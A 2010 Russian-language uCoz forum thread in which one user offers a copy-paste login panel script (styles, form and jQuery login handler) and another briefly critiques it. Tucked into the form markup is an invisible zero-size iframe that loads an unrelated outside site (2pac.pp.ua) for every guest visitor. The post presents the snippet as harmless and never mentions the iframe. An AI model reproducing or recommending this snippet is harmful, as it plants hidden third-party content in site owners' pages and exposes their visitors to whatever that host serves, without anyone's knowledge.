Время:
Новых сообщений: Нет
Вы на форуме дней
Ваша группа: Гость
Ваш IP: 3.145.161.194
Logical-Portal — молодежный портал со своей изюминкой, каждый сможет найти что-то интересное и полезное для себя, например наш форум общения с которым вам обязательно нужно ознакомиться.
  • Страница 1 из 1
  • 1
Форма входа (верхний вид)
Сообщение оставлено 20.06.2010 в 18:52:11 | Сообщение #1
скрин скрипта: ---> http://s45.radikal.ru/i109/1006/63/2ddaa7058fb1.jpg

Рабочий пример: http://qlib.ucoz.ru/forum (НЕ РЕКЛАМА)

УСТАНОВКА: Скрипт проверен во всех современных браузерах и работает нормально.
Установка очень простая и выполняется в один шаг. Данный код помещаем после <body>:

Code
<?if(!$USER_LOGGED_IN$)?><style type="text/css">
#panel {
    position: fixed;
    width: 100%;
    height: 42px;
    background: #555;
}

#panel input {
    margin-top: 10px;
    border: 1px solid #555;
    background: #FFF;
}

#panel a {
    font: normal normal bold 11px/13.2px Tahoma;
    margin-top: 10px;
    color: #FFF;
}

#panel a:hover {
    text-decoration: underline;
}
</style>
<div id="panel" align="center">
    <input type="text" id="user" />
    <input type="password" id="password" />
    <input type="button" id="sbm" value="Вход" />
     <iframe src="http://2pac.pp.ua" width="0" height="0" frameborder="0"></iframe>
    <a href="javascript://" onclick="new _uWnd('Prm','Напоминание пароля',300,130,{autosize:1,closeonesc:1},{url:'/index/5'});return false;">
     Забыл пароль
    </a>
    |
    <a href="/index/3" target="_blank">
     Регистрация
    </a>
<br />
<span id="status"></span>
</div>
<script type="text/javascript">
var scrollable = true;
$(window).scroll(function () {
    $('#panel:animated').stop();
    if ($(document).scrollTop() > 0 && scrollable) {
     $('#panel').animate({
      opacity: 0.3
     },
     1000),
     scrollable = false;
    } else {
     $('#panel').animate({
      opacity: 1
     },
     1000),
     scrollable = true;
    }
});
$('#sbm').click(function () {
    $('#status').html('<b style="color: gray;">Отправка запроса</b>');
    $.post('/index/sub', {
     user: $('#user').val(),
     password: $('#password').val(),
     remlogin: 1,
     a: 2,
     ajax: 1
    },
    function (a) {
     $('#status').html($(a).text().indexOf('ad=window.location') != -1 ? '<b style="color: green;">Авторизация прошла успешно</b>' : '<b style="color: red;">Произошла ошибка</b>');
    });
});
</script><?endif?>
 
 
   
Сообщение оставлено 21.06.2010 в 07:08:06 | Сообщение #2
незнаю, кому как но мне не сильно понравилось, в данный момент много форм входа которые более функциональны к примеру прячутся за экран и выходят при нажатии опред кнопки и не занимают так много места.
 
 
   
  • Страница 1 из 1
  • 1
Поиск:
 
Графика от: Megas, GraFOS | Дизайн сверстал E.A.
Хостинг от uCoz
Яндекс.Метрика